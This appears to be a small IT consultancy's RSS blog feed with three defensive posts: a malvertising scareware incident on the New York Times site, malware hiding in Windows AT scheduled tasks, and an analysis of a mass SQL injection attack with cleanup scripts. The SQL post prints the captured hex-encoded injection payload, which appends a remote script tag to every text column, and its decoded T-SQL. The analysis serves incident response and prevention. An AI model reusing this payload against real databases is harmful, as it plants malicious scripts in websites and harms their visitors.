<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jephens Tech. &#187; defense</title>
	<atom:link href="http://www.jephens.com/tag/defense/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jephens.com</link>
	<description>Keeping Computers Happy Since 1997</description>
	<lastBuildDate>Wed, 30 Jun 2010 20:52:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>Malware served from NY Times Website</title>
		<link>http://www.jephens.com/2009/09/13/beware-the-ny-times-website/</link>
		<comments>http://www.jephens.com/2009/09/13/beware-the-ny-times-website/#comments</comments>
		<pubDate>Sun, 13 Sep 2009 19:27:12 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[anti-virus]]></category>
		<category><![CDATA[defense]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[malwarebytes]]></category>
		<category><![CDATA[new york times]]></category>
		<category><![CDATA[nytimes.com]]></category>
		<category><![CDATA[protection-check07.com]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=209</guid>
		<description><![CDATA[I've gotten two calls from clients (OK, one was a client, the other my mother-in-law) saying they visited the NYTimes website and were attacked by malware. This is true, they were. My MIL said she was trying to read Maureen Dowd and got hit with a rogue anti-spyware application. I was able to CoPilot in [...]]]></description>
			<content:encoded><![CDATA[<p>I've gotten two calls from clients (OK, one was a client, the other my mother-in-law) saying they visited the NYTimes website and were attacked by malware.</p>
<p>This is true, they were. My MIL said she was trying to read Maureen Dowd and got hit with a rogue anti-spyware application. I was able to CoPilot in and clean things up. (There didn't seem much to clean up, I killed a running process of IE (she uses Chrome) and the scare-screen went away.</p>
<p>I sparked up an unpatchedWinXP Virtual Machine running IE6 and went to the NYT website, and was prompted immediately to install flash. I opted not to and surfed around the site, fighting the information bar's insistence that I install an ActiveX Control.</p>
<p>So, I gave in and voila!</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_1.jpg"></a></p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_11.jpg"><img class="alignnone size-medium wp-image-217" title="protection-check07.com dialog" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_11-300x226.jpg" alt="protection-check07.com dialog" width="300" height="226" /></a></p>
<p>So, no matter how you answer, you're already stung.</p>
<p>Of course, your instinct is to click "Cancel" and you do, and then you're scared out of your wits when confronted with this page from protection-check07.com (don't go there!) and proceeds to make you think you're infected.</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_21.jpg"><img class="alignnone size-medium wp-image-218" title="protection-check07.com demo" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_21-300x226.jpg" alt="protection-check07.com demo" width="300" height="226" /></a><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_2.jpg"></a></p>
<p>But, if we take a second to look at the scare box, we see something is amiss...</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_4.jpg"><img class="alignnone size-medium wp-image-213" title="Local Drive" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_4-300x187.jpg" alt="Local Drive" width="300" height="187" /></a></p>
<p>We don't have an E: drive ... and the optical drive we have is a CD-Rom, not a DVD-RAM drive...</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_31.jpg"><img class="alignnone size-medium wp-image-219" title="My Computer" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_31-300x226.jpg" alt="My Computer" width="300" height="226" /></a><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_3.jpg"></a></p>
<p>The page that pops up is meant to scare you. The infections it reports are false -- the only infection you have (at the moment) is the webpage. If you go into taskmanager and find iexplorer.exe (or firefox.exe if you use Mozilla Firefox) and right-click on it and choose "End Process" that should make the pop-up go away.</p>
<p>If you click ANYWHERE on the page, it will prompt you to download a program:</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_5.jpg"><img class="alignnone size-full wp-image-221" title="Malware Downloader" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_5.jpg" alt="Malware Downloader" width="456" height="313" /></a></p>
<p>Seems reasonable -- you got a warning you were infected, and you want to download a file called "Scanner-75f_2015.exe" seems legit.</p>
<p>IT'S NOT.</p>
<p>(But you knew that by now, right?)</p>
<p>However, this is a clear indication of how a fully patched system gets compromised. Some buys ad space on a major website. They probably serve a lot of legit ads, but in a few instances, they serve illegitmate ads. In this case, they seem to be using Flash as an attack vector. Flash movie loads and redirects your browser to a rogue site, and they're off to the races.</p>
<p>Since I'm a professional, I downloaded the file -- I didn't run it -- and I submitted it to <a href="http://virscan.org">http://virscan.org</a> an online file scanner which tests a file against 37 of the leading anti-virus vendors.</p>
<p>Somewhat sadly, only 5 out of 37 scanners picked this up as malware:</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_6.jpg"><img class="alignnone size-medium wp-image-222" title="Malware Results" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_6-300x185.jpg" alt="Malware Results" width="300" height="185" /></a></p>
<p>I also ran the file thru VirusTotal.com which tests against 41 scanners, and 7 scanners turned up a positive on our file:</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_8.jpg"><img class="size-large wp-image-224 alignnone" title="VirusTotal.com Results" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_8-422x1024.jpg" alt="VirusTotal.com Results" width="422" height="1024" /></a></p>
<p>You can see the full report over on VirusTotal's site: <a href="http://www.virustotal.com/analisis/7bda9187e26b5a185501874b201731f12e3604c078408500abda83c35ef2fbe1-1252857630" target="_blank">http://www.virustotal.com/analisis/7bda9187e26b5a185501874b201731f12e3604c078408500abda83c35ef2fbe1-1252857630</a></p>
<p>The one thing that surprised me on the results was Microsoft's detection, trumping McAfee, Symantec, AVG and Clam-AV among many others. I've never considered MS a true player in the anti-malware landscape, but perhaps I will re-evaluate.</p>
<p>Kaspersky, and most othersecurity vendors, offers an <a href="http://usa.kaspersky.com/downloads/free-virus-scanner.php" target="_blank">online scan </a>of your system (requires Java). If you don't have an anti-virus product installed -- or even if you do -- you might want to visit a different security vendor site than the one you have to do a check. Belt and suspenders and all that.</p>
<p>(This piece of spyware also eluded my trustyMalwarebytes Anti-Malware (<a href="http://www.malwarebytes.org/">www.malwarebytes.org</a>) which should reinforce that no one piece of software can provide 100% protection.</p>
<p>There is no strong defense for this, as nothing you overtly do can cause it. Make sure your anti-virus is up to date, do regular scans of your computer -- but MOST importantly --keep backups.</p>
<p>As for the clients, one of them uses Norton GoBACK (since superceded in the marketplace by Ghost 14) , so they restored their machine back an hour before the infection occurred, went back to the NY Times site, got re-infected, restored AGAIN using GoBack, and then stayed away from the NY Times site. And my Mother-in-Law has been trained well and as soon as the box popped up, she called me and I was able to CoPilot into her machine and close IE before it did any damage... may you all be as lucky.</p>
<p>Further Info:</p>
<p><a href="http://ask.metafilter.com/132707/nytimes-spyware">http://ask.metafilter.com/132707/nytimes-spyware</a></p>
<p><a href="http://discussions.apple.com/thread.jspa?messageID=10197120&amp;tstart=0">http://discussions.apple.com/thread.jspa?messageID=10197120&amp;tstart=0</a></p>
<p><a href="http://forums.mozillazine.org/viewtopic.php?f=38&amp;t=1481195">http://forums.mozillazine.org/viewtopic.php?f=38&amp;t=1481195</a></p>
<p><strong>[UPDATE: 1:30 PM, Sunday Sept 13 - the NY Times site seems to have stopped serving the ad. Further attempts to get infected have proven unsuccessful.]</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2009/09/13/beware-the-ny-times-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Don&#8217;t Overlook Scheduled Tasks / AT when cleaning malware&#8230;</title>
		<link>http://www.jephens.com/2009/02/01/dont-overlook-scheduled-tasks-at-when-cleaning-malware/</link>
		<comments>http://www.jephens.com/2009/02/01/dont-overlook-scheduled-tasks-at-when-cleaning-malware/#comments</comments>
		<pubDate>Sun, 01 Feb 2009 21:57:55 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[defense]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=94</guid>
		<description><![CDATA[One of our clients picked up some sort of infection over the weekend. The sucker was persistent, and after running the usual battery of utilities -- RootkitRevealer, SDFix, ComboFix, Stinger running inside a WinXP PE shell -- we got rid of the thing. When I checked the post-infection System Event Viewer log, however, I got [...]]]></description>
			<content:encoded><![CDATA[<p>One of our clients picked up some sort of infection over the weekend. The sucker was persistent, and after running the usual battery of utilities -- RootkitRevealer, SDFix, ComboFix, Stinger running inside a WinXP PE shell -- we got rid of the thing.</p>
<p>When I checked the post-infection System Event Viewer log, however, I got an interesting message:</p>
<p><em>Event Type:Error<br />
Event Source:Schedule<br />
Event Category:None<br />
Event ID:7901<br />
Date:1/31/2009<br />
Time:9:00:00 PM<br />
User:N/A<br />
Computer:XXX03<br />
Description:<br />
The At46.job command failed to start due to the following error:<br />
The system cannot find the file specified. </em></p>
<p>Huh? At46.job? I know the machine doesn't use the AT scheduler... let's see...</p>
<div class="code" style="margin:-2px; margin-top:5px; margin-bottom: 2em;">
<pre>Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\administrator\&gt;at
Status ID Day Time Command Line
-------------------------------------------------------------------------------
 1 Each M T W Th F S Su 12:26 AM C:\WINDOWS\system32\Hi3TR1uq.exe
 10 Each M T W Th F S Su 9:00 AM C:\WINDOWS\system32\Hi3TR1uq.exe
 11 Each M T W Th F S Su 10:00 AM C:\WINDOWS\system32\Hi3TR1uq.exe
 12 Each M T W Th F S Su 11:00 AM C:\WINDOWS\system32\Hi3TR1uq.exe
 13 Each M T W Th F S Su 12:00 PM C:\WINDOWS\system32\Hi3TR1uq.exe
 14 Each M T W Th F S Su 1:00 PM C:\WINDOWS\system32\Hi3TR1uq.exe
 15 Each M T W Th F S Su 2:00 PM C:\WINDOWS\system32\Hi3TR1uq.exe
 16 Each M T W Th F S Su 3:00 PM C:\WINDOWS\system32\Hi3TR1uq.exe
 17 Each M T W Th F S Su 4:00 PM C:\WINDOWS\system32\Hi3TR1uq.exe
 18 Each M T W Th F S Su 5:00 PM C:\WINDOWS\system32\Hi3TR1uq.exe
 19 Each M T W Th F S Su 6:00 PM C:\WINDOWS\system32\Hi3TR1uq.exe
 2 Each M T W Th F S Su 1:00 AM C:\WINDOWS\system32\Hi3TR1uq.exe
 20 Each M T W Th F S Su 7:00 PM C:\WINDOWS\system32\Hi3TR1uq.exe
 21 Each M T W Th F S Su 8:00 PM C:\WINDOWS\system32\Hi3TR1uq.exe
Error 22 Each M T W Th F S Su 9:00 PM C:\WINDOWS\system32\Hi3TR1uq.exe</pre>
</div>
<p>And so forth, with hourly jobs listed down thru job 72. (It kept adding duplicate schedules...)<a href="http://www.jephens.com/wp-content/uploads/2009/02/tasksched.gif"><img class="size-thumbnail wp-image-109 alignright" title="tasksched" src="http://www.jephens.com/wp-content/uploads/2009/02/tasksched-150x150.gif" alt="tasksched" width="150" height="150" /></a></p>
<p>You can see we got the infection eradicated before 9 PM, because the 9PM AT job show errors. <img src='http://www.jephens.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>For those of you who prefer a GUI, you can see the same thing in the Scheduled Tasks pane in Control Panel</p>
<p>So, don't overlook the AT scheduler as a place where infection might hide in an effort to replicate itself. This is the first time I've seen it there, and it will be a place I look at from here out...</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2009/02/01/dont-overlook-scheduled-tasks-at-when-cleaning-malware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How To Clean Up After a SQL Injection Attack</title>
		<link>http://www.jephens.com/2008/07/27/how-to-clean-up-after-a-sql-injection-attack/</link>
		<comments>http://www.jephens.com/2008/07/27/how-to-clean-up-after-a-sql-injection-attack/#comments</comments>
		<pubDate>Sun, 27 Jul 2008 11:30:53 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Analysis]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[defense]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql server]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=36</guid>
		<description><![CDATA[NEW AND IMPROVED UPDATE: Cleaning Up After a SQL Injection Attack, Part 2 [UPDATE: Added code to deal with replacing text in the ntext fields of SQL Server 2000.] One of our clients got hit with a web attack a week or so ago. We're still not quite sure how this particular attack was carried [...]]]></description>
			<content:encoded><![CDATA[<p><strong>NEW AND IMPROVED UPDATE: </strong><a href="http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2"><strong>Cleaning Up After a SQL Injection Attack, Part 2</strong></a></p>
<p><strong>[UPDATE: Added code to deal with replacing text in the ntext fields of SQL Server 2000.]</strong></p>
<p>One of our clients got hit with a web attack a week or so ago. We're still not quite sure how this particular attack was carried out -- <span style="text-decoration: line-through;">we're thinking an unpatched web server at the hosting facility</span> -- but it did cause me to look at the log file of the web site to see who might have been able to overwrite index.htm in the root directory. (The FTP logs held the clue -- a rogue in Asia who cracked the password.)</p>
<p>As I said, it turned up nothing, but I did see a series of SQL Injection attacks -- none of which were successful (always check your variables, kids!) -- but they piqued my interest, so I took it apart.<span id="more-36"></span></p>
<p>I'm not sure if there's any way to discuss this in-depth without revealing the code. Revealing the code is a double-edged sword. I'd like people to be able to find this via the search engines in case they've been hit with it; but at the same time, I'd hate to see people use this to further spread malice... but I don't think this code is all that unqiue, or all that new, really...</p>
<h3>A Study of An SQL Injection</h3>
<p>In the log was the following line (IPs changed to protect the innocent and not-so-innocent):</p>
<pre style="height: 6em;" class="code prettyprint">2008-06-27 21:20:32 x.x.x.x  - W3SVC257 y.y.y.y  80 GET /gallery/index.asp type=4;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6164777374652E6D6F62692F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--|76|800a000d|Type_mismatch:_'iGallery' 500 0 1422 0 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) -</pre>
<p>Fascinating. It's pretty obvious that they're trying to inject some SQL as part of the URL. It's the standard trick...</p>
<p>So, I copied the querystring into my favorite text editor (that'd be TextPad) and broke out the querystring to this:</p>
<p><strong><span style="text-decoration: underline;">DO NOT RUN THIS CODE! IT'S DANGEROUS!</span></strong></p>
<pre style="height: 12em;" class="code prettyprint">DECLARE @S VARCHAR(4000)
SET @S=CAST(0x445434C4154054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6164777374652E6D6F62692F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000))
EXEC(@S)
</pre>
<p>(OK, I changed the code a little to make it a bit more benign and so that it would fail if you pasted it into QA and ran it.)</p>
<p>I pasted that into Query Analyzer and pointed QA against a dummy database, so if I screwed up, I wasn't going to hurt anything...</p>
<p>I then changed the EXEC statement to a PRINT statement, so I could see what that big CAST statement was doing, and lo and behold a little bit of T-SQL code popped out.</p>
<p>In a nutshell, the code queries sysobjects for all the user tables in the database (xtype = 'u') and throws the table info into a cursor, and then it loops thru the cursor, checking on fields that it can append it's evilness onto -- namely, text, ntext, varchar and sysname columns.</p>
<p>(Running <em>select xtype, name from systypes;</em> which basically contains a list of available sql datatypes, and I compared them against the b.xtype values in the demon code.)</p>
<p>Here's the code as disassembled:</p>
<pre style="height: 26em;" class="code prettyprint">DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>Again, I defanged the routine by changing it to PRINT, so I can see what it spits out...</p>
<p>It spits out a whole pile of UPDATE statements, affecting every field of every table it found of the applicable types. (In practice, it wouldn't print the UPDATE statements, it would actually, you know, execute them...)</p>
<pre style="height: 6em;" class="code prettyprint">UPDATE [InProcessOrders] SET [StatusMessage]=RTRIM(CONVERT(VARCHAR(4000),[StatusMessage]))+'&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'UPDATE [Handhelds] SET [RecKey]=RTRIM(CONVERT(VARCHAR(4000),[RecKey]))+'&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'

UPDATE [Handhelds] SET [RecName]=RTRIM(CONVERT(VARCHAR(4000),[RecName]))+'&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'</pre>
<p>... and so forth.</p>
<p>But we can see that it appends its malicious SCRIPT tag at the end of every field in the hopes that it will someday be displayed unfettered on a webpage, where its payload can be hidden in an IFRAME.</p>
<h3>Cleaning Up The Mess</h3>
<p>So now you have a database that's infected with the evil code at the end of every data field. To get rid of it, you need to re-run the code, but with a replace statement instead of an appending of the field.</p>
<p><strong>NOTE: If you have more than 4000 characters in a data field, go for your backup, because the malicious script only grabs the first 4000 characters and then appends itself; so this solution will leave you with truncated fields. If your fields are not over 4000 characters, you should be OK.</strong></p>
<p>So if we take the disassembled code and just edit it just a little bit... change the UPDATE statement so that is REPLACES the ill-gotten script block with nothing, it's like the script block was never there.  (Except in the aforementioned cases where the original data was over 4000 characters...)</p>
<pre style="height: 40em;" class="code prettyprint">DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'],''&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'', '''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND b.xtype=99
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT ('UPDATE ['+@T+'] SET ['+@C+']=cast(replace(cast(['+@C+'] as nvarchar(4000)),''&lt;script src=hxxp://evilsite.evl/b.js&gt;&lt;/script&gt;'','''') as ntext)')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre>
<p>And there you have it.  If you edit the code so that the bad URL you're trying to erase is in it (as opposed to my bogus evilsite.evl URL) It will generate all the SQL statements you need and then you can run them against your database.</p>
<p>(Of course, you can change the PRINT statement for some other statement that might do the trick...)</p>
<h3>An Ounce of Prevention</h3>
<p>Of course, the best way to protect yourself is to not allow the SQL Injection attack to occur in the first place.  These attacks failed against our client's site because we tested to make sure the variables we were accepting via the URL were numbers.  Since there were alphabetic characters in there, the page threw an ugly error and failed to render.  (In these cases throwing an ugly error is fine, since I don't think anyone is really is looking at your pages.)</p>
<p><a href="http://msdn.microsoft.com/en-us/library/ms998271.aspx" target="_blank">Microsoft Developer Network (MSDN) has these suggestions</a>:</p>
<ul>
<li><strong>Constrain and sanitize input data. </strong>Check for known good data by validating for type, length, format, and range.</li>
<li><strong>Use type-safe SQL parameters for data access.</strong> You can use these parameters with stored procedures or dynamically constructed SQL command strings. Parameter collections such as <strong>SqlParameterCollection</strong> provide type checking and length validation. If you use a parameters collection, input is treated as a literal value, and SQL Server does not treat it as executable code. An additional benefit of using a parameters collection is that you can enforce type and length checks. Values outside of the range trigger an exception. This is a good example of defense in depth.</li>
<li><strong>Use an account that has restricted permissions in the database.</strong> Ideally, you should only grant execute permissions to selected stored procedures in the database and provide no direct table access.</li>
<li><strong>Avoid disclosing database error information. </strong>In the event of database errors, make sure you do not disclose detailed error messages to the user.</li>
</ul>
<p><a href="http://en.wikipedia.org/wiki/Sql_injection" target="_blank">Wikipedia</a> has a good breakdown of what SQL Injection is.</p>
<p>Lastly, <a href="http://msmvps.com/blogs/harrywaldron/default.aspx" target="_blank">Microsoft MVP Harry Waldron</a> put together <a href="http://msmvps.com/blogs/harrywaldron/archive/2008/05/31/microsoft-best-practices-for-preventing-sql-injection-attacks.aspx" target="_blank">a good collection of best practices</a> to foil SQL Injection attacks.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2008/07/27/how-to-clean-up-after-a-sql-injection-attack/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
